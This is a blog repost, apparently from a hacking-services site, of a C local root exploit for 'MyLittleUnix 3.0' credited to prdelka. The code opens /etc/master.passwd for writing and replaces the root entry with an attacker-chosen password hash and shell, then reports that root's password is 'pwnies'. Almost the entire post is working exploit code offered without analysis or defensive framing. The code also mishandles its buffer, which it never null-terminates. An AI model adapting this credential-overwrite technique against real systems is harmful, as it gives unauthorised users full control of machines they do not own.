Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863551929

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/* MyLittleUnix <= 3.0 VFS permissions root exploit 
   ================================================
   File permissions are not checked, we can abuse 
   this to replace the root user password with our
   own and escalate our privileges. This exploit 
   now 20% cooler and tested on latest 3.0 mlp OS.

   -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char* pwnystr = "root:07821d2459368443042007bf1c7cdf3c55284"
		"29a65f8f10ce388d301b47865a283147bfd290545b"
		"0b9b12ae622a8eb359497cb3635506f99d2f5e4c4e"
		"594cadd:0:0:HackerFantastic:/home/root:/bi"
		"n/sh:fancy\n";

int main(){
	int fd, r;
	struct stat *fileinfo = malloc(sizeof(struct stat));
	char *buffer, *line, *filenm = "/etc/master.passwd";
	printf("[+] MyLittleUnix <=3.0 VFS permissions local root exploit\n");
	fd = open(filenm,O_RDWR);
	r = stat(filenm,fileinfo);
	buffer = malloc((uint)fileinfo->st_size);
	if(buffer){
		read(fd,buffer,fileinfo->st_size);
	}
	else{
		printf("[!] No pwn for you pwnie\n");
		exit(0);
	}
	lseek(fd,0,SEEK_SET);
	line = strtok(buffer,"\n");
	while(line){
		if(strstr(line,"root:")){
			write(fd,pwnystr,strlen(pwnystr));
		}
		else{
			write(fd,line,strlen(line));
			write(fd,"\n",strlen("\n"));
		}
		line = strtok(NULL,"\n");
	}
	close(fd);
	printf("[-] 20percent COOLER! user 'root' password is 'pwnies'\n");
	exit(0);
}